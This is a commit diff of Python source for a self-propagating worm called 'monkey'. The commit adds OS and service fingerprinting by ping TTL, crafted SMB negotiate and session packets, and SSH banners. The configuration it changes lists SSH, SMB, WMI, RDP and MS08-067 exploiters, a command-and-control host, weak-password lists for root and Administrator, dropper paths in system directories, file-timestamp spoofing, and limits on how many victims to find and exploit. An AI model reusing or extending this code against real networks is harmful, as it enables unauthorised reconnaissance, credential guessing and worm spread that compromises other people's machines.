add support for simple fingerprinting by: ping, smb, ssh and open ports

This commit is contained in:
Barak Hoffer 2015-09-29 17:55:54 +03:00
parent bea2d5e3d4
commit 7697f5fce9
7 changed files with 392 additions and 36 deletions

View File

@ -3,19 +3,84 @@ import os
import sys import sys
import ntpath import ntpath
from network.range import ClassCRange, RelativeRange, FixedRange from network.range import ClassCRange, RelativeRange, FixedRange
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter
from network import TcpScanner, PingScanner from network import TcpScanner, PingScanner, SMBFinger, SSHFinger
from abc import ABCMeta
import uuid
import types
__author__ = 'itamar' __author__ = 'itamar'
class WormConfiguration(object): GUID = str(uuid.getnode())
EXTERNAL_CONFIG_FILE = os.path.join(os.path.dirname(sys.argv[0]), 'monkey.bin')
def _cast_by_example(value, example):
example_type = type(example)
if example_type is str:
return str(os.path.expandvars(value))
elif example_type is tuple and len(example) != 0:
return tuple([_cast_by_example(x, example[0]) for x in value])
elif example_type is list and len(example) != 0:
return [_cast_by_example(x, example[0]) for x in value]
elif example_type is type(value):
return value
elif example_type is bool:
return value.lower() == 'true'
elif example_type is int:
return int(value)
elif example_type is float:
return float(value)
elif example_type is types.ClassType or example_type is ABCMeta:
return globals()[value]
else:
return None
class Configuration(object):
def from_dict(self, data):
for key,value in data.items():
if key.startswith('_'):
continue
try:
default_value = getattr(Configuration, key)
except AttributeError:
continue
setattr(self, key, _cast_by_example(value, default_value))
def as_dict(self):
result = {}
for key in dir(Configuration):
if key.startswith('_'):
continue
try:
value = getattr(self, key)
except AttributeError:
continue
val_type = type(value)
if val_type is types.FunctionType or val_type is types.MethodType:
continue
if val_type is types.ClassType or val_type is ABCMeta:
value = value.__name__
elif val_type is tuple or val_type is list:
if len(value) != 0 and type(value[0]) is types.ClassType or type(value[0]) is ABCMeta:
value = val_type([x.__name__ for x in value])
result[key] = value
return result
########################### ###########################
### logging config ### logging config
########################### ###########################
use_file_logging = True use_file_logging = True
dropper_log_path = os.path.expandvars("%temp%\~df1562.tmp") dropper_log_path = os.path.expandvars("%temp%\~df1562.tmp") if sys.platform == "win32" else '/tmp/user-1562'
monkey_log_path = os.path.expandvars("%temp%\~df1563.tmp") monkey_log_path = os.path.expandvars("%temp%\~df1563.tmp") if sys.platform == "win32" else '/tmp/user-1563'
########################### ###########################
### dropper config ### dropper config
@ -23,8 +88,9 @@ class WormConfiguration(object):
dropper_try_move_first = sys.argv[0].endswith(".exe") dropper_try_move_first = sys.argv[0].endswith(".exe")
dropper_set_date = True dropper_set_date = True
dropper_date_reference_path = r"\windows\system32\kernel32.dll" dropper_date_reference_path = r"\windows\system32\kernel32.dll" if sys.platform == "win32" else '/bin/sh'
dropper_target_path = ntpath.join(r"C:\Windows", ntpath.split(sys.argv[0])[-1]) dropper_target_path = r"C:\Windows\monkey.exe"
dropper_target_path_linux = '/bin/monkey'
########################### ###########################
### monkey config ### monkey config
@ -39,7 +105,8 @@ class WormConfiguration(object):
max_iterations = 2 max_iterations = 2
scanner_class = TcpScanner scanner_class = TcpScanner
exploiter_classes = (RdpExploiter, ) finger_classes = (PingScanner, SSHFinger, SMBFinger)
exploiter_classes = (SSHExploiter, SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter)
# how many victims to look for in a single scan iteration # how many victims to look for in a single scan iteration
victims_max_find = 14 victims_max_find = 14
@ -47,7 +114,11 @@ class WormConfiguration(object):
# how many victims to exploit before stopping # how many victims to exploit before stopping
victims_max_exploit = 7 victims_max_exploit = 7
command_server = "russian-mail-brides.com" current_server = ""
command_servers = ["russian-mail-brides.com:5000"]
serialize_config = True
########################### ###########################
### scanners config ### scanners config
@ -55,14 +126,15 @@ class WormConfiguration(object):
#range_class = RelativeRange #range_class = RelativeRange
#range_size = 8 range_size = 8
range_class = FixedRange range_class = ClassCRange
range_fixed = ("10.15.1.94", ) range_fixed = ("10.0.0.1")
# TCP Scanner # TCP Scanner
tcp_target_ports = [445, 135] tcp_target_ports = [22, 445, 135]
tcp_scan_timeout = 1000 # 1000 Milliseconds tcp_scan_timeout = 1000 # 1000 Milliseconds
tcp_scan_interval = 200 tcp_scan_interval = 200
tcp_scan_get_banner = True
# Ping Scanner # Ping Scanner
ping_scan_timeout = 1000 ping_scan_timeout = 1000
@ -80,3 +152,11 @@ class WormConfiguration(object):
# psexec exploiter # psexec exploiter
psexec_user = "Administrator" psexec_user = "Administrator"
psexec_passwords = ["Password1!", "1234", "password", "password", "12345678"] psexec_passwords = ["Password1!", "1234", "password", "password", "12345678"]
#ssh exploiter
ssh_user = "root"
ssh_passwords = ["root", "toor", "1234", "12345678"]
alive = True
WormConfiguration = Configuration()

View File

@ -1,10 +1,15 @@
__author__ = 'itamar' __author__ = 'itamar'
class VictimHost(object): class VictimHost(object):
def __init__(self, ip_addr): def __init__(self, ip_addr):
self.ip_addr = ip_addr self.ip_addr = ip_addr
self.cred = {} self.cred = {}
self.os = {}
self.services = {}
self.monkey_exe = None
def as_dict(self):
return self.__dict__
def __hash__(self): def __hash__(self):
return hash(self.ip_addr) return hash(self.ip_addr)
@ -28,4 +33,4 @@ class VictimHost(object):
self.cred[username.lower()] = password self.cred[username.lower()] = password
def get_credentials(self, username): def get_credentials(self, username):
return self.cred.get(username.lower(), None) return self.cred.get(username.lower(), None)

View File

@ -1,5 +1,6 @@
from abc import ABCMeta, abstractmethod from abc import ABCMeta, abstractmethod
import socket
__author__ = 'itamar' __author__ = 'itamar'
@ -10,6 +11,16 @@ class HostScanner(object):
def is_host_alive(self, host): def is_host_alive(self, host):
raise NotImplementedError() raise NotImplementedError()
class HostFinger(object):
__metaclass__ = ABCMeta
@abstractmethod
def get_host_fingerprint(self, host):
raise NotImplementedError()
from ping_scanner import PingScanner from ping_scanner import PingScanner
from tcp_scanner import TcpScanner from tcp_scanner import TcpScanner
from smbfinger import SMBFinger
from sshfinger import SSHFinger
from info import local_ips

View File

@ -1,26 +1,67 @@
import os import os
import sys import sys
import subprocess import subprocess
from network import HostScanner import logging
from network import HostScanner, HostFinger
from model.host import VictimHost from model.host import VictimHost
import re
__author__ = 'itamar' __author__ = 'itamar'
PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c" PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c"
PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W" PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W"
TTL_REGEX_STR = '(?<=TTL\=)[0-9]+'
LINUX_TTL = 64
WINDOWS_TTL = 128
class PingScanner(HostScanner): LOG = logging.getLogger(__name__)
class PingScanner(HostScanner, HostFinger):
def __init__(self): def __init__(self):
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self._devnull = open(os.devnull, "w") self._devnull = open(os.devnull, "w")
self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE)
def is_host_alive(self, host): def is_host_alive(self, host):
assert isinstance(host, VictimHost) assert isinstance(host, VictimHost)
timeout = self._config.ping_scan_timeout
if not "win32" == sys.platform:
timeout = timeout / 1000
return 0 == subprocess.call(["ping", return 0 == subprocess.call(["ping",
PING_COUNT_FLAG, "1", PING_COUNT_FLAG, "1",
PING_TIMEOUT_FLAG, str(self._config.ping_scan_timeout), PING_TIMEOUT_FLAG, str(timeout),
host.ip_addr], host.ip_addr],
stdout=self._devnull, stdout=self._devnull,
stderr=self._devnull) stderr=self._devnull)
def get_host_fingerprint(self, host):
assert isinstance(host, VictimHost)
timeout = self._config.ping_scan_timeout
if not "win32" == sys.platform:
timeout = timeout / 1000
sub_proc = subprocess.Popen(["ping",
PING_COUNT_FLAG,
"1",
PING_TIMEOUT_FLAG,
str(timeout), host.ip_addr],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
output = " ".join(sub_proc.communicate())
regex_result = self._ttl_regex.search(output)
if regex_result:
try:
ttl = int(regex_result.group(0))
if LINUX_TTL == ttl:
host.os['type'] = 'linux'
elif WINDOWS_TTL == ttl:
host.os['type'] = 'windows'
return True
except Exception, exc:
LOG.debug("Error parsing ping fingerprint: %s", exc)
return False

View File

@ -0,0 +1,148 @@
import re
import sys
import socket
import struct
import string
import logging
from network import HostFinger
from model.host import VictimHost
from odict import odict
import select
SMB_PORT = 445
SMB_SERVICE = 'tcp-445'
LOG = logging.getLogger(__name__)
class Packet():
fields = odict([
("data", ""),
])
def __init__(self, **kw):
self.fields = odict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
##### SMB Packets #####
class SMBHeader(Packet):
fields = odict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("errorcode", "\x00\x00\x00\x00"),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = odict([
("wordcount", "\x00"),
("bcc", "\x62\x00"),
("data", "")
])
def calculate(self):
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
class SMBNegoFingerData(Packet):
fields = odict([
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("separator3","\x02"),
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("separator4","\x02"),
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("separator5","\x02"),
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("separator6","\x02"),
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionFingerData(Packet):
fields = odict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
class SMBFinger(HostFinger):
def __init__(self):
self._config = __import__('config').WormConfiguration
def get_host_fingerprint(self, host):
assert isinstance(host, VictimHost)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.7)
s.connect((host.ip_addr, SMB_PORT))
host.services[SMB_SERVICE] = {}
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(data = SMBNegoFingerData())
n.calculate()
Packet = str(h)+str(n)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
s.send(Buffer)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
Body = SMBSessionFingerData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
s.send(Buffer)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
length = struct.unpack('<H',data[43:45])[0]
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
os_version, service_client = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
if os_version.lower() != 'unix':
host.os['type'] = 'windows'
else:
host.os['type'] = 'linux'
host.services[SMB_SERVICE]['name'] = service_client
if not host.os.has_key('version'):
host.os['version'] = os_version
else:
host.services[SMB_SERVICE]['os-version'] = os_version
return True
except Exception, exc:
LOG.debug("Error getting smb fingerprint: %s", exc)
return False

View File

@ -0,0 +1,57 @@
import re
import sys
import socket
import struct
import string
import logging
from network import HostFinger
import socket
import select
from network.tools import check_port_tcp
from model.host import VictimHost
SSH_PORT = 22
SSH_SERVICE = 'tcp-22'
SSH_REGEX = 'SSH-\d\.\d-OpenSSH'
TIMEOUT = 30
BANNER_READ = 1024
LINUX_DIST_SSH = ['ubuntu', 'debian']
class SSHFinger(HostFinger):
def __init__(self):
self._config = __import__('config').WormConfiguration
self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE)
def _banner_match(self, host, banner):
host.services[SSH_SERVICE]['name'] = 'ssh'
for dist in LINUX_DIST_SSH:
if banner.lower().find(dist) != -1:
host.os['type'] = 'linux'
os_version = banner.split(' ').pop().strip()
if not host.os.has_key('version'):
host.os['version'] = os_version
else:
host.services[SSH_SERVICE]['os-version'] = os_version
break
def get_host_fingerprint(self, host):
assert isinstance(host, VictimHost)
for service in host.services.values():
banner = service.get('banner', '')
if self._banner_regex.search(banner):
self._banner_match(host, banner)
return
is_open, banner = check_port_tcp(host.ip_addr, SSH_PORT, TIMEOUT, True)
if is_open:
host.services[SSH_SERVICE] = {}
if banner:
host.services[SSH_SERVICE]['banner'] = banner
if self._banner_regex.search(banner):
self._banner_match(host, banner)
return True
return False

View File

@ -1,29 +1,43 @@
import time import time
import socket import socket
from network import HostScanner from network import HostScanner, HostFinger
from model.host import VictimHost from model.host import VictimHost
from network.tools import check_port_tcp
import select
__author__ = 'itamar' __author__ = 'itamar'
class TcpScanner(HostScanner): BANNER_READ = 1024
def __init__(self, target_port=None):
class TcpScanner(HostScanner, HostFinger):
def __init__(self):
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
def is_host_alive(self, host): def is_host_alive(self, host):
return self.get_host_fingerprint(host, True)
def get_host_fingerprint(self, host, only_one_port=False):
assert isinstance(host, VictimHost) assert isinstance(host, VictimHost)
for target_port in self._config.tcp_target_ports: count = 0
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self._config.tcp_scan_timeout / 1000.0)
try: for target_port in self._config.tcp_target_ports:
sock.connect((host.ip_addr, target_port))
sock.close() is_open, banner = check_port_tcp(host.ip_addr,
return True target_port,
except socket.error: self._config.tcp_scan_interval / 1000.0,
self._config.tcp_scan_get_banner)
if is_open:
count+=1
service = 'tcp-' + str(target_port)
host.services[service] = {}
if banner:
host.services[service]['banner'] = banner
if only_one_port:
break
else:
time.sleep(self._config.tcp_scan_interval / 1000.0) time.sleep(self._config.tcp_scan_interval / 1000.0)
continue return count != 0
return False